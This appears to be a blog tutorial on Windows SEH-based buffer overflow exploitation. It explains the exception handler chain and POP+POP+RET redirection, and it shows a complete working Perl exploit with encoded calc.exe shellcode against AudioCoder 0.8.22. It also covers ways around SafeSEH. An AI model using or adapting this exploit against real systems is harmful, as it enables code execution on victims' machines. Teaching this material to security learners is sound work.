Google

Windows Exploit Development – Part 6: SEH Exploits

Written on:March 25, 2014
Comments are closed

Introduction

The buffer overflow exploits covered so far in this tutorial series have generally involved some form of direct EIP overwrite using a CALL or JMP instruction(s) to reach our shellcode. Today we’ll take a look at a different approach using Windows Structured Exception Handling (SEH).

Before I begin explaining the basic mechanics of Windows Structured Exception Handling (as it’s implemented in an x86, 32-bit environment) it bears mentioning that I intentionally omitted several details (termination handling vs. exception handling, unwinding, vectored exception handling, etc.) to focus on the basic concepts and to provide enough background information to understand SEH in the context of exploit writing. I encourage you to read up on these additional details using the references I’ve provided at the end of this post.

What is Structured Exception Handling?

Structured Exception Handling (SEH) is a Windows mechanism for handling both hardware and software exceptions consistently.

Those with programming experience might be familiar with the exception handling construct which is often represented as a try/except or try/catch block of code. For the purposes of this discussion, I’ll reference the Microsoft extension to the C/C++ languages which looks as follows:

__try {
    // the block of code to try (aka the "guarded body")
    ...
}
__except (exception filter) {
    // the code to run in the event of an exception (aka the "exception handler)
    ...
}

The concept is quite simple — try to execute a block of code and if an error/exception occurs, do whatever the “except” block (aka the exception handler) says. The exception handler is nothing more than another block of code that tells the system what to do in the event of an exception. In other words, it handles the exception.

Exception handlers might be implemented by the application (via the above __try/__except construct) or by the OS itself. Since there are many different types of errors (divide by zero, out of bounds, etc), there can be many corresponding exception handlers.

Regardless of where the exception handler is defined (application vs. OS) or what type of exception it is designed to handle, all handlers are managed centrally and consistently by Windows SEH via a collection of designated data structures and functions, which I’ll cover at a high level in the next section.

Major Components of SEH

For every exception handler, there is an Exception Registration Record structure which looks like this:

typedef struct _EXCEPTION_REGISTRATION_RECORD { 
    struct _EXCEPTION_REGISTRATION_RECORD *Next; 
    PEXCEPTION_ROUTINE Handler; 
} EXCEPTION_REGISTRATION_RECORD, *PEXCEPTION_REGISTRATION_RECORD;

source: http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

These registration records are chained together to form a linked list. The first field in the registration record (*Next) is a pointer to the next _EXCEPTION_REGISTRATION_RECORD in the SEH chain. In other words, you can navigate the SEH chain from top to bottom by using the *Next address. The second field (Handler), is a pointer to an exception handler function which looks like this:

EXCEPTION_DISPOSITION 
__cdecl _except_handler(
    struct _EXCEPTION_RECORD *ExceptionRecord,
    oid EstablisherFrame,
    struct _CONTEXT *ContextRecord,
    void * DispatcherContext
);

The first function parameter is a pointer to an _EXCEPTION_RECORD structure. As you can see below, this structure holds information about the given exception including the exception code, exception address, and number of parameters.

typedef struct _EXCEPTION_RECORD {
        DWORD ExceptionCode;
        DWORD ExceptionFlags;
        struct _EXCEPTION_RECORD *ExceptionRecord;
        PVOID ExceptionAddress;
        DWORD NumberParameters;
        DWORD ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD;

source: http://www.microsoft.com/msj/0197/exception/exception.aspx

The _except_handler function uses this information (in addition to the registers data provided in the ContextRecord parameter) to determine if the exception can be handled by the current exception handler or if it needs to move to the next registration record. The EstablisherFrame parameter also plays an important role, which we’ll get to in a bit.

The EXCEPTION_DISPOSITION value returned by the _except_handler function tells the OS whether the exception was successfully handled (returns a value of ExceptionContinueExecution) or if it must continue to look for another handler (returns a value of ExceptionContinueSearch).

So how does Windows SEH use the registration record, handler function, and exception record structure when trying to handle an exception? When an exception occurs, the OS starts at the top of the chain and checks the first _EXCEPTION_REGISTRATION_RECORD Handler function to see if it can handle the given error (based on the information passed in the ExceptionRecord and ContextRecord parameters). If not, it will move to the next _EXCEPTION_REGISTRATION_RECORD (using the address pointed to by *Next). It will continue moving down the chain in this manner until it finds the appropriate exception handler function. Windows places a default/generic exception handler at the end of the chain to help ensure the exception will be handled in some manner (represented by FFFFFFFF) at which point you’ll likely see the “…has encountered a problem and needs to close” message.

Each thread has its own SEH chain. The OS knows how to locate the start of this chain by referencing the ExceptionList address of the thread information/environment block (TIB/TEB) which is located at FS:[0]. Here’s a basic diagram of the Windows SEH chain with a simplified version of the _EXCEPTION_REGISTRATION_RECORD:

win_exploit_6_1

This is by no means a complete overview of SEH or all of its data structures, but it should provide you with enough detail to understand the fundamental concepts. Now let’s take a look at SEH in the context of an actual application.

SEH Example

Let’s take a look at how SEH is implemented in practice, using Windows Media Player as an example. Recall from Part 1 of this exploit series that you can view the contents of the TEB using the !teb command in WinDbg. Here is a snapshot of the running process threads and a look at one of the associated TEBs for Windows Media Player (on a Win XP SP3 machine):

win_exploit_6_2

Notice the ExceptionList address. This is the address of the start of the SEH chain for that thread (yours may vary). In other words, this address points to the first _EXCEPTION_REGISTRATION_RECORD in the SEH chain. Let’s take a look at how to find this same information in Immunity Debugger.

After attaching Windows Media Player to Immunity, you can hit Alt+M to view the Memory Modules. In this example, I’ll double-click the same thread examined in WinDbg (00013C20).

win_exploit_6_3

This opens up the Dump window for that thread, which you’ll notice is the TEB. Just as in WinDbg, you’ll see that the start of the SEH chain is located at 02B6FF5C.

Another way to find the start of the SEH chain for the current thread is by dumping FS:[0] as follows:

win_exploit_6_5

Again, notice the first address is 02B6FF5C which in turn, points to 02B6FFDC (the start of the SEH chain).

The final, and easiest method of viewing the SEH chain in Immunity is by hitting Alt+S:

win_exploit_6_6

No surprise, the first entry in the chain is 02B6FF5C. What this SEH chain window also clearly shows is that there are two _EXCEPTION_REGISTRATION_RECORDs for this thread (SEH chain length = 2) and they both point to the same exception handler function.

If you take a look at the stack for this thread (towards the bottom), you’ll be able to see this SEH chain, starting at 02B6FF5C.

win_exploit_6_4

Again, you can see both registration records in the SEH chain — the first is the start of the chain located at 02B6FF5C and the second is the default handler (as indicated by FFFFFFFF / “End of SEH Chain“) at 02B6FFDC.

Exploiting SEH

Now that you have an idea of how Windows SEH works and how to locate the SEH chain in Immunity, let’s see how it can be abused to craft reliable exploits. For this example, I’m going to use the basic C program example from Part 1 of this exploit series (original source: Wikipedia).

strcpy

For demo purposes I’ve compiled it using MS Visual Studio Command Line with the /Zi switch (for debugging) and /GS- switch (to remove stack cookie protection). Running the program with an argument of 10 A’s (stack_demo.exe AAAAAAAAAA) you can see that by default there are two entries in the SEH chain (neither of which are explicitly defined in the application code itself).

win_exploit_6_9

And on the stack…

win_exploit_6_7

To further illustrate how Windows SEH centrally manages all exceptions (regardless of where they are defined) I’ll add a __try/__except block to this example program and lengthen the SEH chain by one.

win_exploit_6_8

The added __except block doesn’t have any exception handling code but as you can see in the next screenshot, the new exception handler has been added to the top of the SEH chain.

win_exploit_6_10

If you want to walk through the the addition of this new entry to the SEH chain, set a couple of breakpoints before and after function foo( ) is called. Since this was compiled with debugging enabled you can easily do this in Immunity by going to View–>Source Files and clicking on the name of the executable (in my case I named the updated version stack_demo_seh.exe).

win_exploit_6_13

Select the line(s) where you’d like to enable a breakpoint and hit F2. In my case I put one right before the call to foo( ) (to see the addition of the new SEH registration record) and one right before the call to strcpy (so I can step through writing of the arg to the stack).

win_exploit_6_14

After hitting our breakpoints and stepping though execution of strcpy (using F7), you should see the new _EXCEPTION_REGISTRATION_RECORD on the stack above the previous two entries.

win_exploit_6_11

Let me take this opportunity to highlight a few of the other surrounding entries on the stack (Note: you won’t see stack cookies here since I used /GS when compiling).

win_exploit_6_12

As you can see, the local variables are written to the stack right above the SEH record. In this case our 10 character argument fits within the allocated buffer, but because there is no bounds checking with strcpy( ), if we were to make it larger, we can overwrite the values of Next SEH and SEH.

Let’s try by passing 28 A’s as an argument (you can pass arguments in Immunity via File -> Open).

win_exploit_6_15
Viewing the the SEH chain (Alt+S) you should see this:

win_exploit_6_16

Clearly we’ve overwritten our SEH chain, but this alone is not enough to lead to a viable exploit. In addition to controlling the values of Next SEH and SEH we also need to trigger an exception so that the exception handler is called by the OS. What exactly will trigger an exception (and which handler is called) is going to be dependent upon the application but quite often it is enough to simply continue writing beyond the end of the stack to generate an error that results in the OS calling the SEH chain.

With this example program, we know that 28 A’s is just enough to overwrite Next SEH and SEH. This time let’s make the total length of our argument 500 only instead of using all A’s, let’s use the letter B for character positions 21-28. The length should be enough to overwrite the stack to a point that it generates an exception and we should see Next SEH and SEH overwritten with B’s.

win_exploit_6_17

And examining the SEH chain should reveal…

win_exploit_6_18

This demonstrates we have control over the Next SEH and SEH values of the _EXCEPTION_REGISTRATION_RECORD and we can force the application to trigger an exception. If you pass the exception to the application (Shift + F9) you should see the following:

win_exploit_6_19

By overwriting SEH (which is called when an exception occurs), we have taken control of EIP. But how can we use this to execute shellcode? The answer lies in the second parameter of the _except_handler function we examined earlier.

EXCEPTION_DISPOSITION 
__cdecl except_handler(
    _EXCEPTION_RECORD *ExceptionRecord,
    oid EstablisherFrame,
    struct _CONTEXT *ContextRecord,
    void * DispatcherContext
);

When this Exception Handler function is called, the EstablisherFrame value is placed on the stack at ESP+8. This EstablisherFrame value is actually the address of our _EXCEPTION_REGISTRATION_RECORD which, as we’ve already established, starts with Next SEH (also under our control).

So, when an exception occurs and the Exception Hander (SEH) is called, it’s value is put in EIP. Since we have control over SEH, we now have control over EIP and the execution flow of the application. We also know that the EstablisherFrame (which starts with Next SEH) is located at ESP+8, so if we can load that value into EIP we can continue to control the execution flow of the application.

Here’s a screenshot of EIP and the stack at the time the Exception Handler is executed:

win_exploit_6_20

So how do we get the EstablisherFrame/_EXCEPTION_REGISTRATION_RECORD address loaded into EIP? There are several possible approaches, the most common of which is to overwrite SEH with the address for a POP+POP+RET instruction to load ESP+8 into EIP.

Using the above screenshot as an example, instead of 42424242, EIP would be overwritten with the address of a POP+POP+RET sequence. This would pop the first two entries off of the stack and the return instruction would load 0012FF5C (the address of the _EXCEPTION_REGISTRATION_RECORD) into EIP. Since we have control over the contents of that address, we could then execute code of our choosing.

Since this basic demo code has no usable pop + pop + ret instructions, let’s turn our attention to a real-world vulnerable application and apply what we’ve covered into developing a working SEH exploit.

Writing an SEH Exploit

Before we start writing any code, let’s first take a look at the typical construct for an SEH exploit. The most basic SEH exploit buffer is going to be constructed as follows:

win_exploit_6_24

It will start with some filler/junk to offset the buffer to the exact overwrite of Next SEH and SEH. Remember, SEH will be loaded into EIP when the exception is triggered. Since it will contain a POP+POP+RET instruction, the address to the _EXCEPTION_REGISTRATION_RECORD located at ESP+8 will then be loaded into EIP. Program execution will then immediately hit Next SEH and execute whatever instruction resides there. In this basic SEH exploit one would generally control everything on the stack from Next SEH onward. This means that we can place our shellcode immediately after SEH. The problem we run into is that when program flow is redirected to Next SEH, it will once again run into SEH unless we can figure out a way around it. To do so, we can place a short jump in Next SEH, which will hop over SEH and into our shellcode.

So to recap, we need the following for our basic SEH exploit:

1) offset to Next SEH
2) jump code for Next SEH to hop over SEH
3) address for a usable POP+POP+RET instruction
4) shellcode

Now let’s see this in action…

For this SEH Exploit exercise, I’ll use one of my published exploits for AudioCoder 0.8.22. You can download the vulnerable application directly from this link: http://www.exploit-db.com/exploits/29309/. I’ll start from scratch so you can see how the exploit is built, step-by-step.

Once you’ve installed/launched AudioCoder attach Immunity Debugger and run (F9). This particular program is vulnerable to a buffer overflow condition as it does not perform any bounds checking when reading an .m3u file. To verify this vulnerability, first create an .m3u file with a 5000 character Metasploit pattern. Recall the command to create this pattern in Kali is ../metasploit-framework/tools/pattern_create.rb 5000. You can copy the pattern into a perl script and create the m3u file as follows (don’t forget the “http://”):

win_exploit_6_21

When you open the resulting .m3u file within AudioCoder, you should see something similar to the following in Immunity:

win_exploit_6_22

As you can see, we’ve overwritten EIP as well as our SEH Registration Record with our Metasploit pattern. You can examine the SEH chain (Alt+S) to verify.

win_exploit_6_23

Remember that we have control over EIP because we’ve overwritten SEH. We also know that at the time of crash, ESP+8 points to Next SEH. So, if we can overwrite SEH with the address of a POP+POP+RET instruction we can redirect execution flow to Next SEH. There’s a couple of ways to search for a usable POP+POP+RET instruction in Immunity. First, you can right click on the Disassembly window (top left) and select “Search for” –> “All sequences in all modules”. To use this method you need to know the registers you wish to include in the POP instructions. For example:

win_exploit_6_25

This particular choice of registers returns many results to choose from. Remember that instructions that reside in an application (vs. OS) module are preferred for exploit portability.

win_exploit_6_26

Another way to find the POP+POP+RET instruction address is to use the mona plugin for Immunity (!mona seh):

win_exploit_6_27

The benefit of using mona is that it also identifies which modules have been compiled with SafeSEH, a protection that would eliminate the viability of an SEH-based exploit. I’ll explain more about SafeSEH in the next section, but for now just remember to avoid modules that have been compiled with it. Lucky for us, AudioCoder has plenty of non-SafeSEH modules to choose from!

Once we’ve chosen a usable POP+POP+RET instruction (I chose 6601228E which is a POP EDI + POP EBP + RET instruction from AudioCoder/libiconv-2.dll) the next thing we need to do is figure out the offset to Next SEH. As you may remember from previous tutorials, there are a couple of ways to do this. You can use pattern_offset.rb to determine the offset for 7A41327A.

win_exploit_6_29

You can also use mona:

win_exploit_6_28

So we have our POP+POP+RET address and our offset. Now all we need is some jump code for Next SEH and our Shellcode.

The jump code we need for Next SEH only needs to get us past the 4 bytes of SEH. If you recall from part 4 of the series, a short forward jump is represented by opcode EB. For example \xeb\x14 is a 20 byte forward jump. We can jump a bit beyond SEH as long as we preface our shellcode with some NOPs.

So, we have:

✓ the offset (757)
✓ short jump for next seh (\xeb\x14\x90\x90 — the NOPs are filler for a 2-byte jump in a 4-byte space)
✓ pop pop ret for seh (0x6601228e)
✓ shellcode (for demo purposes I’ll use calc.exe)

At this point we’re ready to construct our exploit which I’ve included below:

#!/usr/bin/perl

###############################################################################
# Exploit Title: AudioCoder 0.8.22 (.m3u) – SEH Buffer Overflow
# Date: 10-18-2013
# Exploit Author: Mike Czumak (T_v3rn1x) — @SecuritySift
# Vulnerable Software: AudioCoder 0.8.22 (http://www.mediacoderhq.com/audio/)
# Software Link: http://www.fosshub.com/download/AudioCoder-0.8.22.5506.exe
# Version: 0.8.22.5506
# Tested On: Windows XP SP3
# Creates an .m3u file to exploit basic seh bof
###############################################################################

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $junk = “http://” . (“\x90” x 757); # offset to seh overwrite
my $nseh = “\xeb\x14\x90\x90”; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack(‘V’,0x6601228e); #overwrite seh w/ pop edi pop ebp ret from AudioCoder\libiconv-2.dll
my $nops = “\x90” x 20;

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R |
# msfencode -e x86/shikata_ga_nai -c 1 -b ‘\x00\x0a\x0d\xff’
my $shell = “\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9” .
“\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92” .
“\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84” .
“\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e” .
“\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1” .
“\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27” .
“\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb” .
“\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b” .
“\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2” .
“\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37” .
“\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3” .
“\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef” .
“\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb” .
“\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf” .
“\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83” .
“\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3” .
“\x9a\xca\xc0”;

my $sploit = $junk.$nseh.$seh.$nops.$shell; # build sploit portion of buffer
my $fill = “\x43” x ($buffsize – (length($sploit))); # fill remainder of buffer
my $buffer = $sploit.$fill; # final buffer

# write the exploit buffer to file
my $file = “audiocoder.m3u”;
open(FILE, “>$file”);
print FILE $buffer;
close(FILE);
print “Exploit file created [” . $file . “]\n”;
print “Buffer size: ” . length($buffer) . “\n”;

Open the resulting m3u file in AudioCoder (without a debugger) and you should see:

asx2mp3_calc

Alternatives to the POP+POP+RET

If you cannot locate a usable POP+POP+RET instruction, you may be able to reach your shellcode in a different manner. Take another look at the following screenshot from our earlier basic C program example once again.

win_exploit_6_20

Not only does ESP+8 point to our Next SEH address – so does ESP+14, ESP+1c, etc. This gives us some additional options for calling this address.

Popad

One such option is the popad, instruction, which I’ve covered in an earlier tutorial. Recall popad pops the first eight values from the stack and into the registers in the following order: EDI, ESI, EBP, EBX, EDX, ECX, and EAX (ESP is discarded). A single popad instruction will therefore leave the address to Next SEH in EBP, EDX, and EAX. To use this method in our SEH exploit we would need to not only find a popad instruction but one that also has a JMP/CALL EBP, JMP/CALL EDX, or JMP/CALL EAX instruction immediately after it. This particular AudioCoder application had no such set of instructions.

JMP/CALL DWORD PTR [ESP/EBP + offset]

If there are no usable popad or POP+POP+RET instructions, you may try to jump directly to Next SEH on the stack by finding a JMP or CALL instruction to an offset to ESP (+8, +14, +1c, +2c, etc) or EBP (+c, +24, +30, etc). Again, the AudioCoder application did not have any usable instructions to demonstrate this technique. 

The key to both of these options is that just as with POP+POP+RET you must select instructions from modules that were not compiled with SafeSEH or the exploit will fail. You will also want to avoid addresses containing null bytes.

SEH Exploit Protection

Without going into too much detail about protections such as stack cookies and ASLR (which I’ll save for another post), I want to briefly touch on two protections that target SEH exploits specifically: SafeSEH and SEHOP. This section will only familiarize you with the most basic concepts of these protections so I encourage you to research more on the topics.

SafeSEH

Windows XP SP2 introduced the SafeSEH protection mechanism in which validated exception handlers are registered and stored in a table. The addresses in this table are checked prior to executing a given exception handler to ensure it is deemed “safe”. As a result, a POP+POP+RET address used to overwrite an SEH record that comes from a module compiled with SafeSEH will not appear in the table and the SEH exploit will fail.

SafeSEH is effective at preventing SEH-based exploits as long as the SEH overwrite address (e.g. POP+POP+RET) comes from a module compiled with SafeSEH. The good news (from an exploitability perspective) is that application modules are not typically compiled with SafeSEH by default. Even if most are, any module loaded by an application that was not compiled with SafeSEH can be used for your SEH overwrite. You can easily find such modules with mona:

win_exploit_6_30
Alternatively, you can use the !mona SEH command which will only look in modules compiled without SafeSEH by default.

The key with bypassing SafeSEH is to find a module that was not compiled with the option.

Structured Exception Handling Overwrite Protection (SEHOP)

As previously stated, one of the downsides of SafeSEH is that it required changing and rebuilding/compiling executables. Rather than require code changes, SEHOP works at run time and verifies that a thread’s exception handler chain is intact (can be navigated from top to bottom) before calling an exception handler. As a result, overwriting the SEH address would break the chain and trigger SEHOP, rendering the SEH exploit attempt ineffective. SEHOP does this by adding a custom record to the end of the SEH chain. Prior to executing an exception handler, the OS ensures this custom record can be reached by walking the chain from top to bottom.

SEHOP was introduced in Windows Vista SP1 and is available on subsequent desktop and servers versions. It is enabled by default on Windows Server Editions (from 2008 on) and disabled by default on desktop versions. EMET also provides SEHOP protection.

There have been demonstrated bypasses of SEHOP protections (both in native OS and EMET implementations) though those are beyond the scope of this post.

For more on SEHOP, see here: http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-exploitation-of-seh-overwrites-with-sehop.aspx

Additional Resources

If you’re interested in researching more on the topic of SEH check out some of these resources:

About the mechanics of SEH:

Other SEH Exploit Tutorials:

Conclusion

It’s my hope that this tutorial (and the referenced resources) provided a basic understanding of how Microsoft implements exception handling and how SEH can be leveraged for exploit development. As always, I’m interested in feedback — you can leave in the comments section, on Twitter, or both. Stay tuned for the next installment in the series on Unicode-based exploits.

Related Posts:

13 Comments add one